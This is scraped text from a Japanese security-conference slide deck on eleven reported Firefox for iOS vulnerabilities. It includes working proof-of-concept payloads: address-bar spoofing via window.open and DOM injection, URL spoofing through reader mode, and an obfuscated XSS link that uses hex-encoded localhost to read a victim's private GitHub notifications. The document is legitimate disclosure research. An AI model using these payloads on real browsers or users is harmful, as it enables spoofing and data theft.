Upload
pacsecjp
View
207
Download
2
Embed Size (px)
Citation preview
私は11個の脆弱性を発⾒し、22,000ドルの報奨⾦を獲得した
Bug 1224529 Bug 1267019 Bug 1290732
Bug 1224906 Bug 1278053 Bug 1290760
Bug 1224910 Bug 1279787 Bug 1293931
Bug 1258188 Bug 1290714
• Firefox for iOSのソースコードはGitHub上にあるhttps://github.com/mozilla/firefox-ios
• 私はソースコードからあるキーワードを検索して、脆弱性を⾒つけている(通勤中に)
• WKWebViewはURLプロパティからuserinfo部分を除去しない
• 各アプリがURLを表⽰する際にケアする必要がある
• Firefox for iOSはURLプロパティの値を直接表⽰していた
w = window.open('nttps://accounts.google.com');
setTimeout(function(){w.document.body.innerHTML='<h1>Hacked.</h1>';
}, 1000);
以下のコードでアドレスバーを偽装できる新しいwindowで無効なURLをロードしている間に、DOMを注⼊する
w = window.open('http://account.google.com');
setTimeout(function(){w.document.body.innerHTML='<h1>Hacked.</h1>';
}, 1000);
iOS版Safari 9.3.3未満でも同様のバグが⾒つかっている存在しないホスト名を⽤いてURLを偽装できた
https://github.com/mozilla/firefox-ios/blob/Firefox-v5.2b1/Client/Assets/PrintHelper.js
window.print = function() {
webkit.messageHandlers.printHandler.postMessage({})
};
例Firefox for iOSのwindow.print関数はScript Messagesで実装されている
https://github.com/mozilla/firefox-ios/blob/Firefox-v5.2b1/Client/Assets/PrintHelper.js
window.print = function() {
webkit.messageHandlers.printHandler.postMessage({})
};Swiftの印刷機能を呼び出す
例Firefox for iOSのwindow.print関数はScript Messagesで実装されている
https://github.com/mozilla/firefox-ios/blob/Firefox-v5.2b1/Client/Assets/PrintHelper.js
window.print = function() {
webkit.messageHandlers.printHandler.postMessage({})
};messageHandlersという⽂字列を検索すれば同様の機能が⾒つかる
例Firefox for iOSのwindow.print関数はScript Messagesで実装されている
• messageHandlersはどのオリジンでも実⾏可能
• 多くの場合はそれで特に問題ない(printHandlerなど)
• しかし、いくつかのハンドラは実⾏可能なオリジンを制限する必要がある
WKWebView
1. formを⾒つけるためにJSを注⼊
Username
Password
Login
2. formの情報を送り返す
4. Formを埋めるためにJSを注⼊
3. 現在のURLの認証情報が保存されているか検索
Firefox for iOSのパスワードマネージャー以下の⼿順でページ内のログインフォームを⾃動的に⾒つけて認証情報を埋める
WKWebView
1. formを⾒つけるためにJSを注⼊
Username
Password
Login
2. formの情報を送り返す
4. Formを埋めるためにJSを注⼊
ここでWKWebViewのURLプロパティが使われていた現在のページのユーザ認証情報を探索するために
3. 現在のURLの認証情報が保存されているか検索
URLプロパティを検索キーとして現在のページのID/PWを取得
• ハンドラはログイン⽤の特殊なWKWebView でのみ利⽤できる。このWKWebViewにはアドレスバーもなく、全てのリソースはhttps:で配信される
• しかし、ハンドラそのものはオリジンを検証していない
• この実装は安全と⾔えるだろうか?
• Firefox for iOSはフォアグランド動作時にローカルのWebサーバを起動する
• ブラウザの内部ページはこのサーバから配信される(たとえば証明書検証エラーなど)
• ブラウザの機能とローカルサーバ上のURLパスは、WebServerクラスのregisterHandlerForMethod関数で関連付けられる
http://localhost:6571/reader-mode/page?url=https://blog.mozilla.org/security
• 変換されたコンテンツはローカルWebサーバから配信される
• アドレスバーには元のURLが表⽰されているが、本当のURLは以下となる
元のURLがクエリ⽂字列に含まれる
リーダーモードはクエリ内のURLを直接表⽰していたそのとき、URLのuserinfoを削除し忘れていた
http://localhost:6571/reader-mode/page?url=https://blog.mozilla.org/security
URL in a query was directly used here
これは、さっき⾒たようなuserinfoを⽤いたURL偽装攻撃がリーダーモードでも再現できた
<a href="http://localhost:6571/reader-mode/page?url=https://[email protected]/webmasters/hacked/">Whitehouse?</a>
Userinfo
• GitHubのGistsは秘密モードをサポートする
• ⾮公開ではないので、URLさえわかれば誰でもアクセスできる
• URLが意図せず漏れないようにするため、metaタグでReferrer-Policyが指定されている
• リーダーモードは変換時に全てのmetaタグを削除する。また、ページはhttpの通信路で送信される
• なので, Gistsの秘密のURLが HTTPリファラを通じて漏洩してしまうhttp://localhost:6571/reader-mode/page?url=https://gist.github.com/nishimunea/899da90df5b169a80df39e73fec89e87
秘密のGistのURL
• 変換後のページは、元のオリジンにかかわらず、全て共通のlocalhostオリジンから配信される
• もしローカルWebサーバにXSSがあれば、リーダーモードのURLを⽤いて任意のページデータを盗み出すことができてしまう
• しかし問題は、localhostのどこにXSSがあるかだ
public var isLocal: Bool {return host?.lowercaseString == "localhost" ||
host == "127.0.0.1" || host == "::1"}
private extension WKNavigationAction {private var isAllowed: Bool {
return !(request.URL?.isLocal ?? false)
v4.0でローカルホストへのアクセスが制限されたなので、このリーダーモードのXSSは攻撃できなくなった
ホスト名がlocalhost、127.0.0.1、::1のいずれかならブロックされる
https://github.com/mozilla-mobile/firefox-ios/commit/78df359fd64aa7fc98bb2e1e7f65863c434fd3bb
<a href="http://0x7f000001:6571/reader-mode/page?url=javascript:document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,48,120,55,102,48,48,48,48,48,49,58,54,53,55,49,47,114,101,97,100,101,114,45,109,111,100,101,47,112,97,103,101,63,117,114,108,61,104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,110,111,116,105,102,105,99,97,116,105,111,110,115,34,32,111,110,108,111,97,100,61,34,97,108,101,114,116,40,116,104,105,115,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,34,62,60,47,105,102,114,97,109,101,62);">
最終的に、以下のXSSペイロードが実⾏できたこれを踏ませることで、標的のGitHubのプライベートな通知を盗むことができた
<a href="http://0x7f000001:6571/reader-mode/page?url=javascript:document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,48,120,55,102,48,48,48,48,48,49,58,54,53,55,49,47,114,101,97,100,101,114,45,109,111,100,101,47,112,97,103,101,63,117,114,108,61,104,116,116,112,115,58,47,47,103,105,116,104,117,98,46,99,111,109,47,110,111,116,105,102,105,99,97,116,105,111,110,115,34,32,111,110,108,111,97,100,61,34,97,108,101,114,116,40,116,104,105,115,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,46,98,111,100,121,46,105,110,110,101,114,72,84,77,76,41,34,62,60,47,105,102,114,97,109,101,62);">
<iframesrc="http://0x7f000001:6571/reader-mode/page?url=https://github.com/notifications"onload="alert(this.contentDocument.body.innerHTML)"></iframe>
最終的に、以下のXSSペイロードが実⾏できたこれを踏ませることで、標的のGitHubのプライベートな通知を盗むことができた